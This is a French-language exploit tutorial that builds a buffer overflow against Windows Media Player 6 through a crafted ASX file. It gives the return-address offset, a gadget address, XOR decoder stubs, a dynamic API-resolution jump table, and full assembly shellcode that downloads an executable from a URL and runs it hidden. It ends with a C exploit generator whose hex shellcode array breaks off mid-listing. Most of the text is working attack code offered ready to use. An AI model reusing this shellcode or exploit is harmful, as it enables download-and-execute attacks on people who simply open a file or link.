Buffer Overflow Win32 (2)
by obscurer
I\
Introduction/Rappels
II\ The Return Address
III\ The Shellcode : executable
IV\ The Jump Table
V\ The Shellcode : shellcode
définitif
VI\ L'Exploit
VII\ Conclusion
I\ Introduction/Rappels
Hello tout le monde, nous nous retrouvons pour
une seconde édition de mon tutorial sur les exploits win32.
Cette fois on va voir un cas un peu plus spécial, j'expliquerai
ça plus tard. Ici nous allons travailler sur Windows Media
Player version 6. J'ai développé ça sous windows 2000 server,
mais on va faire un truc très très portable, vous inquiétez
pas. Même sous win 98/ME ça devrait marcher... enfin, avec
peu-être quelques modifications ! Donc, le Media Player de
windows a la facheuse tendance à se loader intempestivement dès
qu'on a besoin de lui. La faille se situe dans les fichiers ASX
(cf bugtraq pour la découverte de la faille). On peut créer un
fichier ASX très gros, qui va faire un overflow d'un buffer dans
le programme Media Player. Grâce au nouveau type de
présentation des dossiers sous windows, le simple fait de
cliquer une fois sur un fichier .asx, le fait s'executer sur le
côté. De plus, le simple fait de cliquer sur un lien du type www.server.com/file.asx lance media player et il s'overflow... Donc, on va
créé un fichier .asx contenant ceci :
<ASX
VERSION="3.0"><ENTRY><REF
HREF="AAAAAAA....................AAAAAAAAAAA"/></ENTRY></ASX>
Il faudra environ 25000 AAA pour créer
l'overflow, (même si la valeur de EIP est avant, j'ai constaté
ça en faisant de nombreux tests pénibles).
Je rappelle le principe de l'exploitation d'une faille de type buffer overflow. En fait, lorque dans un programme, on fait un CALL (on appelle une fonction quoi), on va placer sur la pile des valeurs qui sont les arguments de cette fonction. Cependant, on push aussi EBP, et la valeur courante de EIP (Extended Instruction Pointer). EIP pointe toujours vers la ligne de code à executer. On va le sauvegarder, pour que, au moment du RET dans la fonction, on revienne au même endroit, juste après le CALL. Imaginons maintenant qu'un programmeur de chez microsoft ne soit pas très consciencieux, et ait oublié de vérifier que ce qui se trouve dans le fichier ASX ne soit pas un peu trop gros pour le buffer qu'il a prévu, le fichier sera copié dans le buffer, alors les données qui dépassent vont être également copiées en mémoire, et pourraient bien déborder sur les autres arguments, et donc aussi sur la valeur de EIP sauvée. Du coup, lors du RET, le processeur va retourner à l'adresse enregistrée, et vu qu'elle aura changée, il jumpera vers une adresse de notre choix. Si on met une adresse pointant vers un shellcode, il sera executé par le programme.
Petit conseil : si vous voulez débugger le shellcode, vous avez interet à mettre des INT 3, codés 'CC' en assembleur. De cette manière, vous mettez un breakpoint dans votre debugger (bpint 3 sous Soft Ice), et vous pourrez ainsi tracer le code en toute simplicité.
II\ The Return Address
Reste à savoir quoi mettre comme adresse de
retour !
En fait, notre buffer va être comme cela :
"...AAAAAAAAAAAAAAA____AAAAAAAAAAAAAAAAAAAAA..."
Les blancs représentent la valeur de EIP
qu'on va smasher. L'offset par rapport au premier A est de 23653
(décimal).Il faut cependant un buffer bien plus gros sinon le
prog plante pas. Donc on met l'adresse de MessageBoxA par exemple
et on lance Media Player. Paf, le débugger (Soft Ice pour moi)
stoppe et vous montre que le prog est en plein dans user32.dll en
train d'executer... MessageBoxA, great ! Cependant, après
plusieurs essais, on remarque que l'adresse ou se trouve notre
buffer change à chaque fois ! Dans le premier exemple (tutorial
1), le buffer était à la même place, on pouvait donc remplacer
la valeur sauvée de EIP par une adresse tombant dans notre
buffer. Ici, on ne peut pas puisqu'il change toujours de place.
Par contre, grande nouvelle : on remarque que EBX pointe toujours
exactement 4 bytes avant EIP ! Donc il faut faire un call ebx,
pour tomber sur notre code. Or, l'executable lui même ne
contient pas de "call ebx". On va donc piocher dans une
DLL comme la dernière fois. On va utiliser la DLL msvcrt.dll qui
ne change pas d'une version de windows 2000 à une autre que ce
soit du pro ou du server. On la désassemble (win32dasm pour moi)
et on cherche un "call ebx" quelque part....Et miracle,
on a un beau call ebx à l'adresse : 0x7801CBD3 (par exemple, il
y en a d'autres).
Donc, si on construit notre buffer comme
ceci (n'oubliez pas l'inversion des bytes) :
"...AAAA90909090D3CB0178AAAAAAAA....."
Les 0x90 sont des NOP. On place l'adresse après le 23653ème 'A'. Donc si on trace avec notre débugger (breakpoint sur 0x7801CBD3), on arrive au call ebx, puis ensuite il call ebx donc, et on arrive, ça par exemple, ici :
"...AAAA90909090D3CB0178AAAAAAAA....."
-----------*
Le quatrième NOP en partant de la valeur smashée de EIP est
executé puisqu'il est pointé par EBX, et qu'on a fait un call
ebx un peu avant.
On peut donc subtilement rajouter un jump short pour
passer les 4 byte de EIP pour arriver à notre shellcode.Un jmp
short se code sur deux byte (EBx pour sauter de x, (on peut
sauter de 128 en avant ou 128 en arrière maximum pour un jump
short), ici quelques bytes suffisent)
"...AAAA90EB0890D3CB017890909090SHELLCODEAAAAAA....."
Voila, le programme va retourner à EBX qui pointe sur le code
'EB08', il va sauter 8 bytes, et arriver à SHELLCODE, ou on
pourra mettre ce qu'on veut !
Voyons maintenant quel shellcode on va pouvoir insérer...
III\ The Shellcode : executable
On va d'abord faire un PE (executable).Voyons un peu le shellcode (shellcodePE.asm), je l'ai codé avec NASM (merci beacoup à rix (qui est dans la cour des grands maintenant :) pour cet outil mirifique ! Si seulement je devais te remercier seulement pour ça !). Ce code produit un executable PE normal avec stack et tout, pour tester le shellcode. Pour ceux qui ne connaissent pas NASM, la conversion vers les autres n'est pas bien difficile, sachez juste que OFFSET n'existe pas, en fait, chaque variable est un label (un pointeur quoi) vers une place réservée en mémoire. On va uitiliser les API de Wininet.dll pour télécharger un executable à partir d'une URL sur internet, puis ensuite on va l'executer avec un WinExec. Ce code est fais pour faciliter le shellcode, je n'utilise donc pas de variable mais je situe tout à partir de edi (habile non ?)
------------------------- CUT HERE ---------------------------
%include
"D:\Nasm\include\language.inc"
extern ExitProcess ;
définie les API utilisées
extern WinExec
extern GlobalAlloc
extern _lcreat
extern _lwrite
extern _lclose
extern InternetOpenA
extern InternetOpenUrlA
extern InternetReadFile
import ExitProcess kernel32.dll ; permet la création d'une table d'importation
import WinExec kernel32.dll
import GlobalAlloc kernel32.dll
import _lcreat kernel32.dll
import _lwrite kernel32.dll
import _lclose kernel32.dll
import InternetOpenA wininet.dll
import InternetOpenUrlA wininet.dll
import InternetReadFile wininet.dll
[global main]
segment .code public use32
..start:
push dword 1500 ;
taille d'un buffer de 1500 bytes
push dword 40h ; =
GPTR remplit le buffer de 00000
call [GlobalAlloc] ;
on alloue un buffer
mov dword edi,eax ;
EDI contient maintenant l'adresse du bloc de mémoire allouée
push dword 0
push dword 0
push dword 0
push dword 0
push dword 0
call [InternetOpenA] ;
procédure pour télécharger le fichier
push dword 0
push dword 0
push dword 0
push dword 0
push dword url ;
pointe vers l'URL pour télécharger le fichier
push dword eax ; EAX
contient le handle retourné par InternetOpenA
call [InternetOpenUrlA] ; On ouvre l'URL demandée
mov dword [edi+1024],eax ; sauvegarde le handle retourné vers la fin de
notre buffer
push dword 0 ;
argument de _lcreat
push dword local ;
pointe vers la chaine contenant le nom du fichier
call [_lcreat] ;
créé le fichier
mov dword [edi+1028],eax ; sauve le handle du fichier ouvert dans notre
buffer
boucle:
mov dword eax,edi ;
cette manipulation permet de passer l'adresse de edi+1032
add eax,1032 ; car
'push dword edi+1032' n'est pas permi pas le compilateur
push dword eax ;
adresse de edi+1032 qui contiendra le nombre de bytes lus
push dword 1024 ;
taille du buffer réservé au téléchargement
push dword edi ;
adresse de ce buffer
push dword [edi+1024] ; Handle de l'URL
call [InternetReadFile] ; On lit
cmp eax,0 ; si la
fonction a retourné une erreur on fini
je fin
cmp dword [edi+1032],0 ; si il n'y a plus de byte à lire (0 bytes
recus), on fini aussi
je fin
push dword [edi+1032] ; sinon, on push le nombre de bytes recus
push dword edi ;
l'adresse du buffer contenant les données reçues
push dword [edi+1028] ; le handle vers le fichier qu'on a gardé
call [_lwrite] ;
écriture
jmp boucle ; la
boucle est bouclée :)
fin:
push dword [edi+1028] ; handle du fichier
call [_lclose] ; on
ferme le fichier
push dword 0 ;
SW_HIDE = 0 => cache la fenêtre (si c'est une application
console bien sur)
push dword local ;
nom du fichier
call [WinExec] ;
Execute le fichier
push dword 0 ; code
d'erreur = 0
call [ExitProcess] ;
termine le processus (ça évite un plantage de exlorer.exe si on
le lance à partir d'un dossier)
ret ; fin
segment .data public ;
datas
url: db 'http://localhost/trojan.exe',0 ; l'URL on se trouve le programme
à executer
local: db 'a.exe',0 ;
le nom temporaire du programme
------------------------- CUT HERE ---------------------------
Voila, ce fichier se compile facilement, on le lance et hop, le fichier executable s'execute (le fichier ShellcodePE.exe est compilé avec l'Url localhost/trojan.exe donc vous devez avoir un server web pour tester mon file, sinon, recompilez.Il suffit donc de coller ce shellcode dans notre buffer. Cependant, un problème se pose : ici, on utilise WinExec par exemple, en la déclarant au début, de cette façon, au démarrage du programme, windows fournit au programme l'adresse de cette fonction. Mais dans notre cas, il se peut que le programme n'ait pas à utiliser cette fonction et donc n'ai pas son adresse dans son segment réservé à ça... C'est l'éternel difficulté des exploits Win32 : les adresses des API :) , sous Linux, les appels systèmes nous sauvent la vie, mais ici c'est différent.Voyons comment y remédier...
IV\ The Jump Table
On va faire ça à la "classique", c'est à dire
qu'on va se faire une jump table pour utiliser les API dont on a
besoin. Je rappelle brievement le principe :
On a besoin de fonctions (API) pour notre shellcode. Par
exemple : WinExec pour executer un file. Cette fonction possède
une adresse qui risque fort de varier selon les kernels. Prendre
l'adresse dans kernel32.dll et l'utiliser dans notre shellcode
s'appelle "hardcoder" cette adresse. Le problème est
que ce n'est absolument pas portable. Dès que la version de l'OS
change un peu, c'est foutu. Par contre, lors du démarrage d'un
programme, windows lui fourni ces adresses directement. Il les
place dans sa jump table, qui est comme une table avec des
adresses, voila. Donc l'API msvcrt.dll possède sa jump table. En
la décompilant, on prend les deux adresses des fonctions
LoadLibraryA et GetProcAddress, qui sont importés par la DLL en
0x78033DD0 et 0x780330CC respectivement. Grace à ces deux
fonctions, on va pouvoir obtenir les adresses de toutes les
autres dont on a besoin. On va faire une chaine comme ceci :
"kernel32*GlobalAlloc*_lcreat* etc etc...". Comme ça, on se placera devant
"kernel32*" en on fera un LoadLibraryA, ensuite
GetProcAddress sur "GlobalAlloc*", et voila, on aura
l'adresse de GlobalAlloc pour pouvoir l'utiliser ! Cepandant, les
"*" doivent être des bytes nuls. Or, ils ne peuvent se
trouver dans notre buffer, car ils signifient une fin de chaine.
J'ai donc décidé de crypter les chaines avec un XOR tout simple
pour ne plus avoir de zéros. On fera une petite routine pour
décrypter tout ça après. Je laisse 66 bytes de libre pour
l'Url, comme ça on mettra la taille que l'on veut. La chaine se
présente comme ça :
"kernel32.GlobalAlloc._lcreat._lclose._lwrite.WinExec.ExitProcess.wininet.
InternetOpenA.InternetOpenUrlA.InternetReadFile.a.exe.http://...........
"
Les points sont des NULL, il y en donc 66 après le "http://" pour mettre l'url qu'on
veut. Ensuite on XOR tout ça avec du 0x20 par exemple, on
obtient :
"KERNEL.. gLOBALaLLOC .LCREAT .LCLOSE .LWRITE wINeXEC eXITpROCESS WININET iNTERNEToPENa iNTERNEToPENuRLa iNTERNETrEADfILE A.EXE HTTP... "
Les NULL ont disparus pour donner des 0x20 (espaces). Aucun problème, ceci tiendra dans notre buffer. Maintenant, où placer ces chaines ? Le plus pratique me parait, juste avant l'adresse pointée par EBX. Comme ceci :
"...AAAAAAACHAINE_ENCRYPTEE90EB0890D3CB017890909090SHELLCODEAAAA....."
Donc, le code se poursuit, il fait le petit jump, puis le shellcode débarque, il décrypte l'espace se situant avant ce que pointe EBX, puis peut utiliser les chaines pour loader les API. On avance ! La chaine encryptée fait 200 bytes avec la marge pour l'Url, on devra donc faire un SUB EBX, 200 pour se retrouver devant "kernel32". EBX est le seul point fixe, puisque tout est aléatoirement placé en mémoire. Maintenant, voyons le petit bout de programme à faire pour décrypter la chaine. (début du fichier : decrypt.asm) :
------------------------- CUT HERE ---------------------------
mov ebp,esp ; on va créer une nouvelle stack, car ebp risque
a été débordé également par notre buffer...
sub bp,257 ; >
255, ça évite un NULL dans le buffer :)
xor dword ecx,ecx ;
permet de mettre ecx à zéro sans avoir de NULL dans le buffer
a:
dec ebx ; on
décrémente EBX (on recule d'un byte quoi)
inc ecx ; ECX va
servir à compter jusqu'à 200 (taille des chaines)
xor byte [ebx],0x20
; on XOR où pointe EBX
cmp byte cl,200 ; si
on a pas encore reculé de 200 byte, on continu à reculer
jne a
------------------------- CUT HERE ---------------------------
Arrivé ici, EBX pointe donc vers "kernel32......"
la chaine a été décryptée si tout c'est bien passsé ! (Au
fait, le fichier decrypt.exe sert à l'éditer en hexa et à
faire un copier coller vers le fichier ASX exploit, ne le lancer
pas, sinon il va tout casser !)
Maintenant, voyons le reste du code. En effet, il va
falloir créer la jump table à proprement parler. Pour celà, on
va faire un petit bout de programme qui va s'en charger. Ce
programme se placera après la routine de décryptage, et avant
le shellcode vu dans la partie III, précédé du code pour
charger les API. On va en premier lieu faire un LoadLibraryA en
pushant l'adresse de la chaine "kernel32",0. La
fonction va retourner un handle vers cette DLL. Ensuite on call
GetProcAddress en pushant comme paramètre ce handle, et
l'adresse de la chaine "GetProcAddress",0 située à 9
bytes de "kernel32",0. Ensuite on va allouer un buffer
de 1500 bytes, 1024 pour le téléchargement du fichier + de la
marge pour des données diverses. Voici le code (début de
shellcode.asm, encore, ne runnez pas shellcode.exe !)
------------------------- CUT HERE ---------------------------
%include
"D:\Nasm\include\language.inc"
[global main]
segment .code public use32
..start:
; à partir d'ici
commence le shellcode, esi pointe bien vers le début de nos
chaines
push dword esi ; on
push esi qui pointe vers "kernel32",0
call [0x780330D0] ;
API LoadLibraryA, eax contient un handle vers kernel32.dll
ouverte
mov dword edi,eax ;
edi contient maintenant le handle vers kernel32.dll
add esi,9 ; on fait
pointer esi sur "GlobalAlloc" ("kernel32"
fait 8 bytes, plus le zéro ça fait 9 )
push dword esi ; on
push l'adresse de la chaine "GlobalAlloc" pointée par
esi
push dword eax ; on
push le handle de kernel32.dll loadée
call [0x780330cc] ;
API GetProcAddress
; hop ! eax contient
l'adresse de GetProcAddress ! call eax nous permettra de
l'appeller maintenant...
push dword 1500 ; on créé un buffer de 1500 =
1024 + de la marge pour des données diverses
push dword 40h ; 40h
= GPTR, initialise la mémoire à 0 etc
call eax ; API
GlobalAlloc
; Vlan ! eax
contient l'adresse d'un buffer
mov dword ecx,edi ;
handle de kernel32 dans ecx
mov dword edi,eax ;
edi pointe maintenant vers un buffer de 1500 zéros
mov dword [edi+1030],ecx ; edi+1030 contient maintenant le handle vers
Kernel32
add esi,12 ; on fait
pointer esi sur "_lcreat"
push dword esi ; on
push l'adresse de la chaine "_lcreat", pointée par esi
push dword [edi+1030]
; on push le handle de kernel32.dll loadée
call [0x780330cc] ;
API GetProcAddress
mov dword [edi+1060],eax ; on met l'adresse de l'API _lcreat à
[esi+1030], vers la fin de notre buffer
add esi,8 ; on fait
pointer esi sur "_lclose"
push dword esi ; on
push l'adresse de la chaine "_lclose", pointée par esi
push dword [edi+1030] ; on push le handle de kernel32.dll loadée
call [0x780330cc] ;
API GetProcAddress
mov dword [edi+1064],eax ; on sauve l'adresse de la fonction lodée
add esi,8 ; on fait
pointer esi sur "_lwrite"
push dword esi ; on
push l'adresse de la chaine "_write", pointée par esi
push dword [edi+1030] ; on push le handle de kernel32.dll loadée
call [0x780330cc] ;
API GetProcAddress
mov dword [edi+1068],eax ; on sauve l'adresse de la fonction lodée
add esi,8 ; on fait
pointer esi sur "WinExec"
push dword esi ; on
push l'adresse de la chaine "WinExec", pointée par esi
push dword [edi+1030]
; on push le handle de kernel32.dll loadée
call [0x780330cc] ;
API GetProcAddress
mov dword [edi+1072],eax ; on sauve l'adresse de la fonction lodée
add esi,8 ; on fait
pointer esi sur "ExitProcess"
push dword esi ; on
push la chaine pointée par esi
push dword [edi+1030]
; on push le handle de kernel32.dll loadée
call [0x780330cc] ;
API GetProcAddress
mov dword [edi+1076],eax ; on sauve l'adresse de la fonction lodée
add esi,12 ; on met
esi sur "wininet"
push dword esi ; on
push esi, donc "wininet"
call [0x780330D0] ;
API LoadLibraryA
mov dword [edi+1030],eax ; on met le handle de wininet.dll loadée dans
[edi+1046] (on va s'en servir plusieurs fois)
add esi,8 ; on fait
pointer esi sur "InternetOpenA"
push dword esi ; on
push "InternetOpenA"
push dword [edi+1030]
; on push le handle de wininet.dll loadée
call [0x780330cc] ;
API GetProcAddress
mov dword [edi+1034],eax ; on met l'adresse de "InternetOpenA"
dans [edi+1034]
add esi,14 ; on fait
pointer esi sur "InternetOpenUrlA"
push dword esi ;
push "InternetOpenUrlA"
push dword [edi+1030] ; push le handle de wininet.dll
call [0x780330cc] ;
API GetProcAddress
mov dword [edi+1038],eax ; on sauve l'adresse dans [edi+1038]
add esi,17 ; esi
pointe sur "InternetReadFile"
push dword esi ;
idem, on push l'adresse de la chaine
push dword [edi+1030]
; on push le handle vers wininet.dll
call [0x780330cc] ;
API GetProcAddress
mov dword [edi+1042],eax ; L'adresse de "InternetReadFile" est
dans [edi+1042]
add esi,23 ; esi
pointe donc maintenant sur l'URL "http://......", on est pret pour la suite !
------------------------- CUT HERE ---------------------------
On a donc la correspondance suivante à partir de edi (je rappelle : edi pointe vers 1500 bytes libres) , j'ai mis au hasard les nombres donc cherchez pas de logique particulière :
[edi]
............................. début du buffer alloué par
GlobalAlloc
[edi+1030] ........................ sert temporairement pour les
handle vers kernel32.dll et wininet.dll
Ce qui suit est notre jump table :
[edi+1060] ........................ adresse de l'API _lcreat
[edi+1064] ........................ adresse de l'API _lclose
[edi+1068] ........................ adresse de l'API _lwrite
[edi+1072] ........................ adresse de l'API WinExec
[edi+1076] ........................ adresse de l'API ExitProcess
[edi+1034] ........................ adresse de l'API
InternetOpenA
[edi+1038] ........................ adresse de l'API
InternetOpenUrlA
[edi+1042] ........................ adresse de l'API
InternetReadFile
Donc, vous avez compri le principe, on a créé une table d'adresses récupérées dynamiquement d'où la portabilité du code ! Maintenant, grace à cette table, un tout simple : call [edi+1060] va appeller _lcreat. Voila, c'est pas mirifique ? On a résolu le problème des API, maintenant, on prend le même shellcode qu'en haut mais on modifie les call et aussi les datas 'url' et 'local'.
V\ The Shellcode : shellcode définitif
Maintenant voyons le shellcode définitif (suite et fin de shellcode.asm) :
------------------------- CUT HERE ---------------------------
; Au départ, esi pointe vers "http://......" (cf la fin du code du IV)
push dword 0
push dword 0
push dword 0
push dword 0
push dword 0
call [edi+1034] ;
API InternetOpenA (les arguments sont bien sympas)
push dword 0
push dword 0
push dword 0
push dword 0
push dword esi ;
push l'url
push dword eax ;
push le handle retourné par InternetOpenA
call [edi+1038] ;
API InternetOpenUrlA
mov dword [edi+1046],eax ; on sauve le Handle retourné dans [edi+1046]
sub esi,6 ; esi
pointe maintenant sur "a.exe"
push dword 0
push dword esi
call [edi+1060] ;
API _lcreat, retourne un handle de fichier dans eax
mov dword [edi+1050],eax ; sauve le handle du fichier à [edi+1050]
boucle :
mov dword eax,edi ;
on stoque le nombre de bytes lus à [edi+1054]
add eax,1054 ; cette
manip est nécessaire car on passe une adresse
push dword eax
push dword 1024 ;
taille du buffer pour mettre les données téléchargées
push dword edi ;
emplacement du buffer
push dword [edi+1046]
; handle retourné par InternetOpenUrlA
call [edi+1042] ;
API InternetReadFile
cmp eax,0 ; si la
fonction retourne une erreur -> jmp fin
je fin
cmp dword [edi+1054],0 ; si il n'y a plus de byte à lire -> jmp fin
je fin
;sinon écrit dans
le fichier ouvert
push dword [edi+1054]
; nombre de byte reçus
push dword edi ;
buffer ou se trouve les bytes
push dword [edi+1050]
; handle du fichier ouvert par _lcreat
call [edi+1068] ;
_lwrite
jmp boucle
fin:
push dword [edi+1050]
; push le handle du fichier
call [edi+1064] ;
_lclose
push dword 0 ;
ouverture de fichier en mode SW_HIDE
push dword esi ; qui
pointe toujours vers "a.exe",0
call [edi+1072] ;
API WinExec
push dword 0
call [edi+1076] ;
API ExitProcess : code d'erreur : 0 (on s'en fout en fait, c pour
pas tout planter)
------------------------- CUT HERE ---------------------------
Il reste juste à paster le code compilé dans le fichier ASX à la bonne place. Cependant, si on examine le code, on voit qu'il contient de nombreux bytes zéros !!! On peut donc faire notre programme normallement, puis on le crypte, comme avec les chaines, pour se débarrasser des caractères génants (désassemblez shellcode.exe et regardez le nombre incalculable de zéros :)
J'ai choisit de placer arbitrairement le shellcode à 333 bytes après le code pointé par ECX (celle du départ, à 4 byte de EIP). Or, après la première routine de décryptage, on a ECX qui pointe à 200 caractères de sa position originale. Donc, dans notre buffer il faudra qu'on place le code dans le fichier ASX à 329 de EIP, et qu'on le XOR avec du 01 par exemple, ça évitera les caractères maudits... Les deux routines de décryptages se suivent et se situent donc entre la valeur de EIP et le shellcode (forcément). Voici donc la seconde routine de décryptage, (suite et fin du fichier decrypt.asm) :
------------------------- CUT HERE ---------------------------
mov dword esi,ebx ; on va garder là ou est ECX
pour plus tard, sauvons la valeur dans ESI par exemple
mov dword eax,0x0FFFFFDEA ; on veut donc décaler ECX de 533 pour tomber
sur notre shellcode
not eax ; NOT
0x0FFFFFDEA = 533, c'est une tactique pour ne pas avoir de bytes
NULL
; (si on avais fait
add dword ebx, 533, on aurait eu des bytes NULL )
add dword ebx,eax ;
hop, pas de bytes NULL !
xor dword ecx,ecx ;
on met ECX à zéro (toujours pour eviter des bytes NULL)
b:
inc ebx ; on décale
EBX de un byte
inc ecx ; ECX sert
de compteur
xor byte [ebx],0x01 ;
on XOR le byte pointé par ECX avec du 01
cmp word cx, 549 ;
si on a fait 549 byte alors on arretes (on compare cx et non pas
ecx tj pour les bytes NULL)
jne b
------------------------- CUT HERE ---------------------------
549 bytes pourquoi ? Pourquoi pas ! Je savais pas quelle longeur ferait mon shellcode, il en fait en fait un peu plus de 480, mais bon, c'est pas grave du moment que c'est supérieur à 480, mettez ce que vous voulez ! Voila ! Résumons la situation : on a jumpé à EBX. On a passé quelque byte.Ensuite, la première routine de décryptage décrypte les chaines placés à 200 bytes de EBX. Ensuite la seconde routine de décryptage décrypte le code placé à 333 de ECX (ECX du départ). Ensuite on continu jusqu'au shellcode proprement dit. On a donc le schéma définitif suivant dans notre fichier ASX :
"...AAAAAAAAAACHAINES_CRYPTEES_20h90EB0890D3CB017890909090ROUTINE190909090ROUTINE2909090SHELLCODE_CRYPTE_01AAAAAAAAAAAA..."
--------------*1------------------*2----------------------------------------------------*3
CHAINES_CRYPTEES_20h Représente
les chaines XORées avec du 0x20
ROUTINE1 et 2
Representent les 2 routines, la premièere décrypte les
chaînes, la seconde le SHELLCODE_CRYPTE_01
SHELLCODE_CRYPTE_01 Représente le shellcode, c'est à
dire le chargement de la jump table et le shellcode en lui même
Les labels :
*2 correspond au code pointé
par EBX au moment du RET qui touche notre EIP (4 bytes avant la
valeur smashée de EIP)
Entre *1 et *2
il y a 200 bytes
Entre *2 et *3
il y a 333 bytes
Voila, jespère que vous avez bien tout compri !
VI\ L'Exploit
Voila, je vous fais cadeau d'un exploit tout fait pour plus de
simplicité !
C'est le fichier exploit.c compilé en Win2KASX.exe. On va créer
un gros buffer de 68000 octets, on vas y mettre un header pour le
fichier .ASX puis ensuite rajouter des 'AAAAA' jusqu'à l'offset
de EBX-200. On va paster le shellcode, et ensuie rajouter des
blancs pour finir le buffer. On dump ça dans un fichier .ASX et
le tour est joué ! Vous remarquerez que j'aurais pu mettre le
shellcode plus près de EBX, mais ce n'est pas trop grave, on a
un shellcode un peu plus gros car il y a des NOP entre les
routines de décryptage et le shellcode...
------------------------- CUT HERE ---------------------------
#include <stdio.h>
void usage(char *a);
unsigned char header[]= { "<ASX
VERSION=\"3.0\"><ENTRY><REF
HREF=\"" }; // header des fichiers .ASX
unsigned char shellcode[]={ // The damned shellcode (il contient plein de NOP
mais bon !)
"\x4B\x45\x52\x4E\x45\x4C\x13\x12\x20\x67\x4C\x4F\x42\x41\x4C\x61\x4C\x4C\x4F\x43\x20\x7F"
"\x4C\x43\x52\x45\x41\x54\x20\x7F\x4C\x43\x4C\x4F\x53\x45\x20\x7F\x4C\x57\x52\x49\x54\x45"
"\x20\x77\x49\x4E\x65\x58\x45\x43\x20\x65\x58\x49\x54\x70\x52\x4F\x43\x45\x53\x53\x20\x57"
"\x49\x4E\x49\x4E\x45\x54\x20\x69\x4E\x54\x45\x52\x4E\x45\x54\x6F\x50\x45\x4E\x61\x20\x69"
"\x4E\x54\x45\x52\x4E\x45\x54\x6F\x50\x45\x4E\x75\x52\x4C\x61\x20\x69\x4E\x54\x45\x52\x4E"
"\x45\x54\x72\x45\x41\x44\x66\x49\x4C\x45\x20\x41\x0E\x45\x58\x45\x20\x48\x54\x54\x50\x1A"
"\x0F\x0F\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x90\xEB\x08\x90\xD3\xCB\x01\x78\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x89\xE5\x66\x81\xED\x01\x01\x31\xC9\x4B\x41\x80\x33\x20\x80\xF9"
"\xC8\x75\xF6\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x89\xDE\xB8\xEA\xFD\xFF\xFF\xF7\xD0\x01\xC3\x31\xC9\x43\x41\x80\x33\x01\x66\x81"
"\xF9\x25\x02\x75\xF4\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x91\x91\x91\x91\x91\x91\x91\x57\xFE\x14\xD1\x31\x02\x79\x88\xC6"
"\x80\xC7\x08\x01\x01\x01\x57\x51\xFE\x14\xCD\x31\x02\x79\x69\xDD\x04\x01\x01\x69\x41\x01"
"\x01\x01\xFE\xD1\x88\xF8\x88\xC6\x88\x8E\x07\x05\x01\x01\x80\xC7\x0D\x01\x01\x01\x57\xFE"
"\xB6\x07\x05\x01\x01\xFE\x14\xCD\x31\x02\x79\x88\x86\x25\x05\x01\x01\x80\xC7\x09\x01\x01"
"\x01\x57\xFE\xB6\x07\x05\x01\x01\xFE\x14\xCD\x31\x02\x79\x88\x86\x29\x05\x01\x01\x80\xC7"
"\x09\x01\x01\x01\x57\xFE\xB6\x07\x05\x01\x01\xFE\x14\xCD\x31\x02\x79\x88\x86\x2D\x05\x01"
"\x01\x80\xC7\x09\x01\x01\x01\x57\xFE\xB6\x07\x05\x01\x01\xFE\x14\xCD\x31\x02\x79\x88\x86"
"\x31\x05\x01\x01\x80\xC7\x09\x01\x01\x01\x57\xFE\xB6\x07\x05\x01\x01\xFE\x14\xCD\x31\x02"
"\x79\x88\x86\x35\x05\x01\x01\x80\xC7\x0D\x01\x01\x01\x57\xFE\x14\xD1\x31\x02\x79\x88\x86"
"\x07\x05\x01\x01\x80\xC7\x09\x01\x01\x01\x57\xFE\xB6\x07\x05\x01\x01\xFE\x14\xCD\x31\x02"
"\x79\x88\x86\x0B\x05\x01\x01\x80\xC7\x0F\x01\x01\x01\x57\xFE\xB6\x07\x05\x01\x01\xFE\x14"
"\xCD\x31\x02\x79\x88\x86\x0F\x05\x01\x01\x80\xC7\x10\x01\x01\x01\x57\xFE\xB6\x07\x05\x01"
"\x01\xFE\x14\xCD\x31\x02\x79\x88\x86\x13\x05\x01\x01\x80\xC7\x16\x01\x01\x01\x91\x91\x91"
"\x91\x91\x91\x91\x91\x69\x01\x01\x01\x01\x69\x01\x01\x01\x01\x69\x01\x01\x01\x01\x69\x01"
"\x01\x01\x01\x69\x01\x01\x01\x01\xFE\x96\x0B\x05\x01\x01\x69\x01\x01\x01\x01\x69\x01\x01"
"\x01\x01\x69\x01\x01\x01\x01\x69\x01\x01\x01\x01\x57\x51\xFE\x96\x0F\x05\x01\x01\x88\x86"
"\x17\x05\x01\x01\x80\xEF\x07\x01\x01\x01\x69\x01\x01\x01\x01\x57\xFE\x96\x25\x05\x01\x01"
"\x88\x86\x1B\x05\x01\x01\x88\xF9\x04\x1F\x05\x01\x01\x51\x69\x01\x05\x01\x01\x56\xFE\xB6"
